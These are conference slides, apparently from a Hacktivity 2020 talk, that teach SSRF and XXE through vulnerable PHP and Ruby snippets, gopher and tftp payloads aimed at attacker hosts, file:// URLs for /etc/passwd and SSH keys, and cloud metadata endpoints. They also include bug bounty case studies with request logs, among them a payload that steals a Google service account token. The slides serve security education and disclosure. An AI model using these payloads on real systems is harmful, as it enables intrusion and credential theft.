

Demystifying the Server Side



Hacktivity 2020

Complex terminologies simplified

Meet the team

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
@h4ckologic

Software Security Researcher

xen1thLabs


Today's Agenda

Learning, learning, learning...




What is Server Side?

- Client-side and server-side are web development terms that describe where application code runs.
- 'Server Side' means everything that happens on the server.
- Mostly all business logic runs on the server side, and this included rendering dynamic web pages, interacting with databases, identity authentication etc.



Why so Server Side?

- In Server side bugs are usually interaction-less and have huge impact.
- Client side bugs usually have limited exploitability, unlike server side bugs.
- Using server-side bugs we could always pivot and move laterally.



Let's look at the definition of URL according to the RFC 3986.

URL Components(RFC 3986)



URL - Uniform Resource Locator

Scheme:

- HTTP
- File

Example HTTP URLs:

- `http://<sub.domain.tld>:<port>/`
- `http://<user>:<pass>@<sub.domain.tld>/path1/path2`
- `http://<user>:<pass>@<sub.domain.tld>/path?q1=a&q2=b`
- `http://<user>:<pass>@<sub.domain.tld>/path?q1=a&q2=b#URL Fragment`

Example FILE URLs:

- `file:///etc/passwd`
- `file:///home/user/.ssh/id_rsa`
- `file:///c:/WINDOWS/win.ini`

SSRF, Making the cloud rain


AGENDA

- Introduction to SSRF
- SSRF identification & Impact
- SSRF attack Scenarios
- SSRF case studies




SSRF – WHAT IS IT?

- Server-side request forgery is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing.
- In typical SSRF examples, the attacker might cause the server to make a connection back to itself, or to other web-based services within the organization's infrastructure, or to external third-party systems.



WHY IS IT SO SERIOUS?

- A successful SSRF exploitation can cause unauthorized actions or access to data within the organization, either in the vulnerable application itself or on other back-end systems that the application can communicate with.
- Bypass Firewall and touch Intranet.
- In some situations, the attacker can escalate SSRF to perform arbitrary command execution.



A Simple SSRF vulnerable snippet.

```
<?php  
$content = file_get_contents($_GET['url']);  
echo $content  
?>
```

- A Vulnerable PHP snippet – The user trusted input ie: URL is passed via GET method, and the server fetches the content and displays it.

- A Vulnerable Ruby snippet – Here the application accepts the user input through the `url` parameter and the `open()` call fetches the Url specified and returns the response body to the client.

```
require 'sinatra'  
require 'open-uri'  
  
get '/' do  
  format 'RESPONSE: %s', open(params[:url]).read  
end
```

Can you spot other issue here?



A simple SSRF

- The attacker forces the application to make an HTTP request back to the server that is hosting the application.
- Supplying a URL with a host like 127.0.0.1 or localhost.

Request

Raw Hex

```
1 POST /image/fetch HTTP/1.0
2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0)
   Gecko/20100101 Firefox/79.0
3 Accept: /*
4 Content-Type: application/x-www-form-urlencoded
5 Content-Length: 118
6
7 ImageApi=http://image.imagesite.com/display/image1.png
8
```

Request

Raw Hex


```
1 POST /image/fetch HTTP/1.0
2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0)
   Gecko/20100101 Firefox/79.0
3 Accept: /*
4 Content-Type: application/x-www-form-urlencoded
5 Content-Length: 118
6
7 ImageApi=http://localhost/sensitivefilepath
8
```

- The server will fetch the contents of the /sensitivefilepath and return it to the user.
- URL comes from the local machine itself & the normal access controls are bypassed

Fetching the contents on
localhost


Types of SSRF

- **Full response SSRF:** an attacker is able to fetch the full response of an internal/external resource(File, HTTP Response etc.) with an HTTP request made on behalf of the server
- **Blind SSRF:** In case of blind SSRF, request is made but no response is returned to the attacker. To discover which networks are routed internally or identify internal services, try looking at the time difference in responses.
- **External SSRF (XSPA .. MEHH!)** - an attacker is able to port/service enumeration on external hosts using the vulnerable server as a proxy.



How to Detect SSRF?


- Listen on your server / VPS.
- Burp collaborator
- HTTPBIN etc



```
[admin@My-MacBook-Pro] - [~/Desktop/pstättion] - [2019-07-21 09:38:57]
[0] <> nc -nlv 1337
GET / HTTP/1.1
Connection: keep-alive
Accept-Encoding: identity
User-Agent: Python-urllib/2.7
Host: 130.25.1337
X-IMForwards: 20
Via: 1.1 :8080 (Cisco-WSA/10.5.1-270)
```

SSRF use cases

- Cloud Metadata
- File system read
- Pivoting within the network
(Pop shells ?? <3)
- XSS
- Port Scan



Where can you find SSRF.

- **Webhooks:** Look for services that make HTTP requests when certain events happen. In most webhook features, the end user can choose their own endpoint and hostname. Try to send HTTP requests to internal services.
- **PDF generators:** Try injecting `<iframe>`, ``, `<base>` or `<script>` elements or CSS `url()` functions pointing to internal services.
- **Document parsers:** Try to discover how the document is parsed. In case it's an XML document (XXE), use the PDF generator approach. For all other documents, see if there's a way to reference external resources and let the server make requests to an internal service.
- **Link expansion:** Try looking for features that get you a web page for link input, eg: twitter.
- **File uploads:** Instead of uploading a file, try sending a URL and see if it downloads the content of the file.

SSRF exploitation via URL Scheme

- **File** (Allows an attacker to fetch the content of a file on the server)
 - <http://redacted.com/vuln.php?uri=file:///path/to/the/file> - (Can be used to grab sensitive files on the server)
- **Gopher**
 - gopher://internal_host/_GET http://<attacker:80>/x HTTP/1.1%0A%0A
 - gopher://internal_host/_POST%20http://<attacker>:80/x%20HTTP/1.1%0ACookie:%20eatme%0A%0AI+am+a+post+body
- **FTP / TFTP** (Trivial File Transfer Protocol, works over UDP)
 - <http://<host>/ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET>
- **PHP**
 - We can use php://filter wrapper to read the contents of files in different Encodings (Base64, Rot13 etc.)
<http://<host>/ssrf.php?url=php://filter/convert.base64-encode/resource=/etc/passwd>

SSRF and Cloud Metadata

- AWS (Amazon Web Services)
 - **EC2 (Elastic Cloud Compute)**
lets customers "rent" computing resources from the EC2 cloud. EC2 provides storage, processing, and Web services to customers.
 - **S3 (Simple Storage Service)**
Allows customers to host & store their data (files/directories) in the provided storage. Customers create "Buckets" and store data under it.
- GCP (Google Cloud Platform)
 - **Compute Engine (EC2 of AWS)**
 - **Google Cloud Storage (S3 of AWS)**
- Azure Cloud
- Alibaba Cloud
- DigitalOcean
-

Users, Groups and Roles

- **Users**
 - A user is an entity that you create in AWS. The user represents the person or service who uses the user to interact with AWS
- **Groups**
 - A group is a collection of users. You can use groups to specify permissions for a collection of users, which can make those permissions easier to manage for those users.
- **Roles**
 - An IAM role is very similar to a user, in that it is an identity with permission policies that determine what the identity can and cannot do in AWS. Roles are attached to a service (EC2 Instance for example)


IAM (Identity Access Management) Policy

- IAM Policy could be a single or a set of permissions
- Very Granular permissions
- Some predefined policies also exists created by AWS based on particular services (EC2, S3, DynamoDB, RDS, ...)

Filter: Policy Type ▾ admin				
	Policy Name ▾	Attached Entities	Creation Time ▾	Edited
<input checked="" type="checkbox"/>	 AdministratorAccess	1	2015-02-06 13:39 EDT	2015-02-06 13:39 EDT
<input type="checkbox"/>	 AmazonAPIGatewayAdmini...	0	2015-07-09 13:34 EDT	2015-07-09 13:34 EDT
<input type="checkbox"/>	 AmazonWorkSpacesAdmin	0	2015-09-22 18:21 EDT	2016-01-18 14:45 UTC
<input type="checkbox"/>	 AmazonWorkSpacesApplic...	0	2015-04-09 10:03 EDT	2015-04-09 10:03 EDT
<input type="checkbox"/>	 AWSAppSyncAdministrator	0	2018-03-20 17:20 EDT	2018-03-20 17:20 EDT
<input type="checkbox"/>	 AWSBackupAdminPolicy	0	2019-01-18 21:34 EDT	2019-01-18 21:34 EDT
<input type="checkbox"/>	 AWSCloud9Administrator	0	2017-11-30 11:17 EDT	2017-11-30 11:17 EDT
<input type="checkbox"/>	 AWSCodeBuildAdminAccess	0	2016-12-01 14:04 EDT	2018-01-18 14:45 UTC
<input type="checkbox"/>	 AWSFMAccessFullAccess	0	2018-05-09 14:06 EDT	2018-05-09 14:06 EDT
<input type="checkbox"/>	 AWSFMAccessReadOnlyAc...	0	2018-05-09 16:07 EDT	2018-05-09 16:07 EDT

EC2 Instance Metadata Server (169.254.169.254)

- Instance metadata server stores data about your instance that you can use to configure or manage the running instance.
- It also stores data related to user
example: commands a user wants to run on EC2 instance at its boot up time.
- Have other metadata information like Region, Availability zone of the instance etc...
- **Credentials!**



Post Exploitation?

- Use the Credentials/AWS Keys we just got via SSRF
- Enumerate the IAM Policy (Permission set) that the credentials have
- Misconfigured highly permissive IAM Role!!?
- Full Read (Write?) access to all production S3 Buckets
- Access to EC2


SSRF and Cloud Metadata – Make Credentials Rain

- AWS
 - http://169.254.169.254/metadata/v1/*
 - Google Cloud
 - http://metadata.google.internal/computeMetadata/v1/*
 - DigitalOcean
 - http://169.254.169.254/metadata/v1/*
 - Docker
 - <http://127.0.0.1:2375/v1.24/containers/json>
 - Kubernetes ETCD
 - <http://127.0.0.1:2379/v2/keys/?recursive=true>
 - Alibaba Cloud
 - http://100.100.100.200/latest/meta-data/*
 - Microsoft Azure
 - http://169.254.169.254/metadata/v1/*
- If an attacker is able to determine the underlying cloud infrastructure he will easily be able to grab the AccessKeyId, SecretAccessKeys, private address, hostname, public keys, subnet ids, and more from the API.
 - Pulling the IAM role secret keys will give him API access to that AWS account and control over the infrastructure.

MITIGATION

- Network segregation
- Whitelist & DNS resolution Vs Blacklist
- Disable unused URL schemas : file:///, dict:///, ftp:/// and gopher:///.
- Authentication on internal services (Best practice)

SSRF CASE STUDIES AND LABS



Case Study

vimeo SSRF



Vimeo API Playground

Vimeo provides their developers an easy to test and play around their Rest API. For such purposes, Vimeo provides an API console at <https://developers.vimeo.com/>.

The purpose of this console is to make it simpler to test API endpoints as such all you'd need to do it

- Select an API Endpoint
- Add required path/query/post parameters
- Click Submit.

Behind the scenes

Request

Raw Params Headers Hex JSON Beautifier

```
POST /api/playground HTTP/1.1
Host: developer.vimeo.com
Connection: close
Content-Length: 256
Origin: https://developer.vimeo.com
X-XSRF-TOKEN: GQQ5rxek75hT2bN0PcsuXway5kbNXD5PSwled34v
X-CSRF-TOKEN: GQQ5rxek75hT2bN0PcsuXway5kbNXD5PSwled34v
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98
Safari/537.36
Content-Type: application/json; charset=UTF-8
Accept: application/json, text/plain, */*
X-Requested-With: XMLHttpRequest
Referer: https://developer.vimeo.com/api/reference/videos
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,de;q=0.8
Cookie: uid=p12140843937,473310581; _ssid=3f8196a6-e55c-49d8-8438-768623e50612; has_logged_in=1;
_abexp=%7B%224.0%22%3A%22yes%22%7D; has_uploaded=1; _vimeo_nd_test=1;
XSRF-TOKEN=GQQ5rxek75hT2bN0PcsuXway5kbNXD5PSwled34v;
session=2Aqle2Tf2HuznahmLx59a0jhj4WIGpGMPT4ltMz;
last_page=https%3A%2F%2Fdeveloper.vimeo.com%2Frobots.txt;
vimeo=OH4tPte4eMVHLedtX5dD4eMxDXPatNPccna4d%2Ce3StdaXDndSXL%2CtPXN3SdtPcMiwiVN5_59biw_ViY3HL
edtX5dD4eMHBDtBtDdaLx%2CDScsB3Pe%2Ca%2Ct4NLtdXLntCBZetaBN%2CSLdXt%2C3DecDZLeBDNd4B;
vimeo_cart=%7B%22stock%22%3A%7B%22store%22%3A%22stock%22%2C%22version%22%3A1%2C%22quantities%22%3A%5B%5D%2C%22items%22%3A%5B%5D%2C%22attributes%22%3A%5B%5D%2C%22currency%22%3Anull%2C%22items_sorted_by_index%22%3A%5B%5D%2C%22items_count%22%3A0%7D%7D; is_logged_in=1
{"ptoken":"8898cb7d76432a35f58c42b32751f9dae3477348a1061b400f8329735508811c.1548634299","method":"get","uri":"/users/{user_id}/videos/{video_id}","app":"120708","params":{},"segments":{},"user_id":"80898505","video_id":"\"111\"","authenticated":"1"}
```

Response

Raw Headers Hex JSON Beautifier

```
HTTP/1.1 200 OK
Server: nginx
Content-Type: application/json
X-Powered-By: PHP/7.1.21
Cache-Control: private, must-revalidate
pragma: no-cache
expires: -1
X-Environment: production_ge
Set-Cookie: XSRF-TOKEN=GQQ5rxek75hT2bN0PcsuXway5kbNXD5PSwled34v; expires=Mon, 28-Jan-2019 02:12:36 GMT; Max-Age=7200; path=/;
Set-Cookie: session=2Aqle2Tf2HuznahmLx59a0jhj4WIGpGMPT4ltMz; expires=Mon, 28-Jan-2019 02:12:36 GMT; Max-Age=7200; path=/; httponly
X-Vimeo-DC: ge
Accept-Ranges: bytes
Via: 1.1 varnish
Accept-Ranges: bytes
Date: Mon, 28 Jan 2019 00:12:36 GMT
Via: 1.1 varnish
Connection: close
X-Served-By: cache-bwi5132-BWI, cache-ams21043-AMS
X-Cache: MISS, MISS
X-Cache-Hits: 0, 0
X-Timer: S1548634356.897198,V50,VE339
Vary: Accept-Encoding
Content-Length: 170

{"headers":["HTTP/1.1 404","Content-Type: application/vnd.vimeo.error+json","Host: api.vimeo.com"],"code":404,"body":{"error":"The requested video could not be found"}}
```

Example request

Select an endpoint `/users/{user_id}` to fetch **12345** user's information.

- **method** set to **GET**
- **uri** parameter set to `/users/{user_id}`
- **segments** set to `{"user_id": "12345"}`

So backend will supposedly make a request to <https://api.vimeo.com/users/12345> and will parse the JSON response and echo it back to the client/developer.

```
{"segments": {"user_id": "80898505"},  
 {"ptoken": "8898cb7d6432a35f58c42b32751f9dae3477348a1061b400f8329735508811c.1548634299", "method": "get", "uri": "/users/{user_id}/videos/{video_id}", "app": "120708", "params": {}, "segments": {"user_id": "80898505", "video_id": "111"}, "authenticated": "1"}}
```

Abusing the feature

So it seems like we have control over the API endpoint to make request to via the parameter `uri`. However changing it to anything other than specified path resulted in a 403.

```
{"ptoken":"8898cb7d76432a35f58c42b32751f9dae3477348a1061b400f8329735508811c.1548634299","method":"get","uri":"/users/{user_id}/videos/{video_id}","app":120708,"params":{},"segments":[{"user_id":"80898505","video_id":"111"}, {"authenticated":1}]}
```

```
{"headers":["HTTP/1.1 404","Content-Type: application/vnd.vimeo.error+json","Host: api.vimeo.com"],"code":404,"body":{"error":"The requested video could not be found"}}
```

Abusing the feature... Hmmm what now?

However we do have another input in API endpoint path via the segments parameter in the Rest API. Segments value act as placeholder to be used in the `uri` parameter

What if we use {"uri":"/users/{user_id}", "segments": {"user_id": "../"}}

```
{"ptoken":"8898cb7d76432a35f58c42b32751f9dae3477348a1061b400f8329735508811c.1548634299","method":"get","uri":"/users/{user_id}/videos/{video_id}","app":"120708","params":{}, "segments":{"user_id":"80898505"}, "video_id": "../..../..\\","authenticated":1}
```

This should make a request to <https://api.vimeo.com/users/../> and if there's no URL encoding on segments input, This path on normalization by HTTP library will make request to <https://api.vimeo.com/>

Boom! Response from the root of the API.

Go Cancel < > ?

Request

Raw Params Headers Hex JSON Beautifier

```
POST /api/playground HTTP/1.1
Host: developer.vimeo.com
Connection: close
Content-Length: 265
Origin: https://developer.vimeo.com
X-CSRF-TOKEN: GQQ5rxek75hT2bN0PcsuXway5kbNXD5PSwled34v
X-CSRF-TOKEN: GQQ5rxek75hT2bN0PcsuXway5kbNXD5PSwled34v
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98
Safari/537.36
Content-Type: application/json; charset=UTF-8
Accept: application/json, text/plain, */*
X-Requested-With: XMLHttpRequest
Referer: https://developer.vimeo.com/api/reference/videos
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,de;q=0.8
Cookie: vuid=pl2140843937.473310581; _ssid=3f8196a6-e55c-49d8-8438-768623e50612; has_logged_in=1;
_abexp=7B%22430%22%3A%22yes%22%7D; has_uploaded=1; __vimeo_nd_test=1;
XSRF-TOKEN=GQQ5rxek75hT2bN0PcsuXway5kbNXD5PSwled34v;
session=2Aqle2Tf2HUZsnahmLX59aOjh4WIGpGMPT4ltMz;
last_page=https%3A%2F%2Fdeveloper.vimeo.com%2Frobots.txt;
vimeo=OHT4tPe4eMVHLedtXsd4eMxDXPatNPccaN4d%2Ce3StdaXDNdSXl%2CttPXN3SzdPcMiwiVN5_59biw_VIY3HL
edtXsdD4eMIHBDtBBtDdaLx%2CDScSB3Pe%2Ca%2Ct4nLtxLNtcbZsetaBN%2CSLdXt%2C3DecDZleBDNdt4B;
vimeo_cart=%7B%22stock%22%3A%7B%22store%22%3A%22stock%22%2C%22version%22%3A1%2C%22quantities%22%3A%5B%5D%2C%22items%22%3A%5B%5D%2C%22attributes%22%3A%5B%5D%2C%22currency%22%3A%5B%5D%2C%22items_sorted_by_index%22%3A%5B%5D%2C%22items_count%22%3A0%7D%7D; is_logged_in=1
{"ptoken":"8898cb7d76432a35f58c42b32751f9dae3477348a1061b400f8329735508811c.1548634299","method":"get","url":"/users/{user_id}/videos/{video_id}","app":120708,"params":{},"segments":{"user_id":80898505,"video_id":\".\"...\"...\".\""}, "authenticated":1}
```

Target: <https://developer.vimeo.com>  

Response

Raw Headers Hex JSON Beautifier

```
HTTP/1.1 200 OK
Server: nginx
Content-Type: application/json
X-Powered-By: PHP/7.1.21
Cache-Control: private, must-revalidate
pragma: no-cache
expires: -1
X-Environment: production_ge
Set-Cookie: XSRF-TOKEN=GQQ5rxek75hT2bN0PcsuXway5kbNXD5PSwled34v; expires=Mon, 28-Jan-2019 02:18:33 GMT; Max-Age=7200; path=/
Set-Cookie: session=2Aqle2Tf2HUZsnahmLX59aOjh4WIGpGMPT4ltMz; expires=Mon, 28-Jan-2019 02:18:33 GMT; Max-Age=7200; path=/; httponly
X-Vimeo-DC: ge
Accept-Ranges: bytes
Via: 1.1 varnish
Accept-Ranges: bytes
Date: Mon, 28 Jan 2019 00:18:34 GMT
Via: 1.1 varnish
Connection: close
X-Served-By: cache-bwi5147-BWI, cache-ams21050-AMS
X-Cache: MISS, MISS
X-Cache-Hits: 0, 0
X-Timer: S1548634714.824979,VS0,VE216
Vary: Accept-Encoding
Content-Length: 14966

{"headers": {"HTTP/1.1 200", "Content-Type: application/vnd.vimeo.endpoint+json", "Host: api.vimeo.com"}, "code": 200, "body": {"endpoints": {"path": "https://api.vimeo.com/v/", "methods": ["GET"]}, {"path": "https://api.vimeo.com/v/categories", "methods": ["GET"]}, {"path": "https://api.vimeo.com/{+category_uri}", "methods": ["GET"]}, {"path": "https://api.vimeo.com/{+category_uri}/vchannels", "methods": ["GET"]}, {"path": "https://api.vimeo.com/{+category_uri}/vgroups", "methods": ["GET"]}, {"path": "https://api.vimeo.com/{+category_uri}/videos", "methods": ["GET"]}, {"path": "https://api.vimeo.com/vchannels", "methods": ["GET", "POST"]}, {"path": "https://api.vimeo.com/{+channel_uri}", "methods": ["DELETE", "GET", "PATCH"]}, {"path": "https://api.vimeo.com/{+channel_uri}/categories", "methods": ["GET", "PUT"]}, {"path": "https://api.vimeo.com/{+channel_uri}/{+category_uri}", "methods": ["DELETE", "PUT"]}, {"path": "https://api.vimeo.com/{+channel_uri}/{+category_uri}/videos", "methods": ["GET"]}}
```

But but we're still on api.vimeo.com host

Make open redirects great again!

The plan is to find an open redirect and as I already figured this was following redirects, we could simply redirect to an internal host like cloud (Google) metadata API.

Good old content discovery

A bit of content discovery and I come across a limited redirect on <https://api.vimeo.com/> which could make redirect to <https://vimeo.com/> with my controlled path & query parameters. And 2 years on hacking, I already had saved plenty of open redirects at vimeo.com ;).

<https://api.vimeo.com/m/anything?foo=bar> => <https://vimeo.com/anything?foo=bar>

Hitting others hosts

```
{...,"method":"method":"GET","uri":"/users/{user_id}","segments": "{\"user_id\": \"/.../m/path/to/open/redirect?url=https://rce.ee/attacker.json\" }",...}
```

Request

Raw Params Headers Hex JSON Beautifier

```
POST /api/playground HTTP/1.1
Host: developer.vimeo.com
Connection: close
Content-Length: 433
Origin: https://developer.vimeo.com
X-XSRF-TOKEN: GQQ5rxek75hT2bN0PcsuXway5kbNXD5PSwled34v
X-CSRF-TOKEN: GQQ5rxek75hT2bN0PcsuXway5kbNXD5PSwled34v
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98
Safari/537.36
Content-Type: application/json; charset=UTF-8
Accept: application/json, text/plain, */*
X-Requested-With: XMLHttpRequest
Referer: https://developer.vimeo.com/api/reference/videos
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,de;q=0.8
Cookie: vuid=pl2140843937.473310581; __ssid=3f8196a6-e55c-49d8-8438-768623e50612; has_logged_in=1;
        abexp=%7B%22430%22%3A%222yes%22%7D; has_uploaded=1; vimeo_nd_test=1;
XSRF-TOKEN=GQQ5rxek75hT2bN0PcsuXway5kbNXD5PSwled34v;
session=2Aqle2Tf2HUZsnahmLX59a0jhj4WIGpGMPT4ltMz;
last_page=https%3A%2F%2Fdeveloper.vimeo.com%2Frobots.txt;
vimeo=OH4tPte4eMVHLeDtXsdD4eIMxHDxpAtNPccaN4d%2Ce3stdaXNDsXL%2CtRXN3SzdPcMiuiVN5_59biw_VIY3HL
edtXsdD4eMIHBDtBbtDlaLX%2CDScSB3Pe%2Ca%2Ct4nLdtXNtcBZSgtaBN%2C5LdxT%2C3DcdZLeBDNtd4B;
vimeo_cart=%7B%22stock%22%3A%7B%22store%22%3A%22stock%22%2C%22version%22%3A1%62C%22quantities%22%3A5%5D%2C%22items%22%3A5%5D%5D%2C%22attributes%22%3A5%5D%2C%22currency%22%3Anull%2C%22items_sorted_by_index%22%3A5%5B%5D%2C%22items_count%22%3A0%7D%7D; is_logged_in=1
```

root@ubuntu-s-1vcpu-1gb-blr1-01:~# cat /var/www/html/attacker.json

```
{"hello": "world"}
```

root@ubuntu-s-1vcpu-1gb-blr1-01:~# tail -f /var/log/apache2/access.log -n 0

```
35.236.199.137 - - [28/Jan/2019:00:28:16 +0000] "GET /attacker.json?video_uri=%2Fvideos%2F313173855 HTTP/1.1" 200 3287 "-" "Playground.API.Vimeo/2.0" 21
```

Cache-Control: private, must-revalidate
 pragma: no-cache
 expires: -1
 X-Environment: production_ge
 Set-Cookie: XSRF-TOKEN=GQQ5rxek75hT2bN0PcsuXway5kbNXD5PSwled34v; expires=Mon, 28-Jan-2019 02:28:17 GMT; Max-Age=7200; path=/
 Set-Cookie: session=2Aqle2Tf2HUZsnahmLX59a0jhj4WIGpGMPT4ltMz; expires=Mon, 28-Jan-2019 02:28:17 GMT; Max-Age=7200; path=/; httponly
 X-Vimeo-DC: ge
 Accept-Ranges: bytes
 Via: 1.1 varnish
 Accept-Ranges: bytes
 Date: Mon, 28 Jan 2019 00:28:17 GMT
 Via: 1.1 varnish
 Connection: close
 X-Served-By: cache-bwi5129-BWI, cache-ams21031-AM
 X-Cache: MISS, MISS
 X-Cache-Hits: 0, 0
 X-Timer: S1548635296.691215,V50,VE1433
 Vary: Accept-Encoding
 Content-Length: 121

{"headers": ["HTTP/1.1 200", "Content-Type: application/json", "Host: api.vimeo.com"], "code": 200, "body": {"hello": "world"}}

Target: https://developer.vimeo.com

Final Payload to steal service account token from Google Metadata API

```
{"method": "GET", "uri": "/users/{user_id}", "segments": "{\"user_id\": \"/.../m/path/to/open/redirect?url=http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json\"}"}
```

Response:

```
{"headers": [ "HTTP/1.1 200", "Content-Type: application/json", "Host: api.vimeo.com" ], "code": 200, "body": { "access_token": "ya29.c.EmKeBq9XXDWtXXXXXXXXXecIkeR0dFkGT0rJSA", "expires_in": 2631, "token_type": "Bearer" } }
```

STOP REPORTING OPEN REDIRECTS FOR \$100!!

#487037 SSRF to Google Metadata via https://developer.vimeo.com/api/playground

State	● Resolved (Closed)	Severity	Critical (9.9)
Reported To	Vimeo	Participants	 (Manage collaborators)
Asset	api.vimeo.com (Domain)	Visibility	Private
Weakness	Server-Side Request Forgery (SSRF)		
Bounty	\$5,000		

Case study SSRF Bypass



Integration feature observations

- Application allowed to integrate WooCommerce store via its URL

- Request was sent from server side with prefixed path

```
{  
  "error": "Invalid",  
  "fields": {  
    "url": "Only https websites supported"  
  }  
}
```

- Only HTTPS hosts allowed

- Request's response was reflected back regardless of integration success

```
"request_method": "GET",  
"status_code": 200,  
"provided_url": "https://s81l4v7cetk00sqif77wlgw6sxyomd.burpcollaborator.r  
"request_raw": "GET /wp-json/wc/v2/system_status HTTP/1.1\r\nHost: s81l4v7  
"response_raw": "HTTP/1.1 200 OK\r\nContent-Length: 53\r\nContent-Type: te
```

Potential fully responsive SSRF

- Can't hit AWS/GCP Metadata, works on plain HTTP.
- If we could find an internal host working on HTTPS
- Internally resolving hostnames were not allowed as well. Possible blacklist?
- Find HTTPS hosts those don't point to internal IP's but are accessible for employees only. Sounds familiar? VPN only access hosts?

Let the recon begin

- Subdomain enumeration
- Found corp.company.com, *corp* Interesting, brute it.
- Multiple hosts resolving to either internal IP's or **external IP's** but none were reachable.
- This is exactly what we're looking for!
- Spots jenkins.corp.company.com pointing to external IP but not reachable.

Why target Jenkins of all the hosts.

- Cause jenkins continuously works with prod server so probably in same VPC.
- Makes sense to use SSL here.
- Generally critical part of Infra - reaching it would show good Impact

#781203 Responded SSRF to internal network HTTPS hosts.

State	● Triage (Open)	Severity	● High (7 ~ 8.9)
Reported To	Redacted	Participants	(Manage collaborators)
Asset	redacted.com (Domain)	Visibility	Private
Weakness	Server-Side Request Forgery (SSRF)		
Bounty	\$750		

Content-Length: 122
Connection: keep-alive
Content-Type: text/html; charset=utf-8
Date: Thu, 23 Jan 2020 00:59:40 GMT
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Server: Jetty(9.4.z-SNAPSHOT)
Set-Cookie: JSESSIONID.1f7e4da5=node010yo867n2yv701abkcdw5a4k9v2903.n
X-Content-Type-Options: nosniff
X-Hudson: 1.395
X-Hudson-Cli-Port: 57957
X-Jenkins: 2.204
X-Jenkins-Cli-Port: 57957
X-Jenkins-Cli2-Port: 57957
X-Jenkins-Session: 8758a7d8
X-...mplied-By: hudson.security.Permission.GenericRead
X-...mplied-By: hudson.model.Hudson.Administer
X-...mission: hudson.model.Hudson.Read
X-...enticated-As: anonymous
X-...roup-Disabled: JENKINS-39402: use -Dhudson.security.Acc
X-...eta http-equiv='refresh' content='1;url=/securityRealm/
X-...

Key takeaways

- Blacklists can always be bypassed
- VPN only hosts should be in your mind when testing for SSRF
- Network segregation is your best bet

If you're scanning for subdomains and encounter some unreachable hosts, don't discard them, but save them for later. They might come in handy to exploit SSRF later on! Thanks for the #BugBountyTip, @rootxharsh!

BUG BOUNTY TIP

SSRF over HTTPS

Limited SSRF vulnerabilities (e.g. https-only) can still give access to internal assets!

Try to find a subdomain that points to an external IP, only reachable over VPN! Example:


<https://grafana.corp.company.com>

@rootxharsh www.intigriti.com

Exploring the File System - XXE

AGENDA

- XML & XXE Basics
- Ways To Exploit XXE:
 - InBand/Response Based XXE
 - Out-of-Band XXE
- Problems With The Existing Techniques
- Using Local DTDs To Read Filesystem



XML – EXTENSIBLE MARKUP LANGUAGE

- Self-descriptive well structured document
- Stores and transports information and is used as a dataset
- Schema of the elements is defined inside “**DOCTYPE**” element
- XML parsers are used to fetch values out of the elements

EXAMPLE XML

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users [
<!ELEMENT users (user)+>
<!ELEMENT user (id,username,password)>
<!ELEMENT id (#PCDATA)>
<!ELEMENT username (#PCDATA)>
<!ELEMENT password (#PCDATA)>
]>
<users>
  <user>
    <id>
      1
    </id>
    <username>
      Rahul
    </username>
    <password>
      $%@#!@%xzcv5354
    </password>
  </user>
</users>
```

XML Declaration - defines charset, language etc.

Document Type Definition (DTD) - defines Schema (Elements, Attributes, Data Types etc.) of the XML Document

Actual XML Body

EXAMPLE XML (WITH EXTERNAL DTD)

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users SYSTEM "http://mysite.com/users.dtd">
<users>
  <user>
    <id>
      1
    </id>
    <username>
      Rahul
    </username>
    <password>
      $%@#!@%xzcv5354
    </password>
  </user>
</users>
```

XML Declaration - defines charset, language etc.
Externally hosted
Document Type Definition(DTD)

Actual XML Body

XML ENTITIES

- Simply put Entities act like variables (way of representing data)
- Can denote special markup, such as the <(<) and >(>) tags
- Reducing the code in DTD by bundling declarations into entities
- Entities have “**SYSTEM**” keyword as well(**External Entities**)
- Types of XML Entities:
 - **BUILT-IN**
 - **GENERAL**
 - **PARAMETER**

TYPES OF ENTITIES

- **General Entities**

- **Syntax:** <!DOCTYPE foo [
 <!ENTITY **entity_name** "some value">
]>
- Can be summoned by **&entity_name;** only inside XML Body

- **Parameter Entities**

- **Syntax:** <!DOCTYPE foo [
 <!ENTITY % **entity_name** "some value">
]>
- Can be summoned by **%entity_name;** even inside the DOCTYPE definition as well as inside other entities (Nested Entities)

TYPES OF ENTITIES

General Entities

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users [
  <!ENTITY name SYSTEM "http://mysite.com/username.txt">
]>
<users>
  <user>
    <id>
      1
    </id>
    <username>
      &name;
    </username>
    <password>
      $%@#!@%xzcw5354
    </password>
  </user>
</users>
```

Parameter Entities

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users [
  <!ENTITY % name SYSTEM "http://mysite.com/users.dtd"> %name;
]>
<users>
  <user>
    <id>
      1
    </id>
    <username>
      test
    </username>
    <password>
      $%@#!@%xzcw5354
    </password>
  </user>
</users>
```

```
<!ELEMENT users (user)+>
<!ELEMENT user (id,username,password)>
<!ELEMENT id (#PCDATA)>
<!ELEMENT username (#PCDATA)>
<!ELEMENT password (#PCDATA)>
```

XXE - XML EXternal Entity

- XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application's XML parser.
- XXE vulnerabilities arise because the XML specification contains various potentially dangerous features, and XML parsers support these features even if they are not normally used by the application.
- An attacker can escalate an XXE attack to compromise the underlying server or other back-end infrastructure, by leveraging the XXE vulnerability to perform server-side request forgery (SSRF) attacks or an arbitrary file read.

Cheatsheet for XXE:

<https://securityidiots.com/Web-Pentest/XXE/XXE-Cheat-Sheet-by-SecurityIdiots.html>

TYPICAL XML REQUEST

Request

Raw Params Headers Hex XML

```
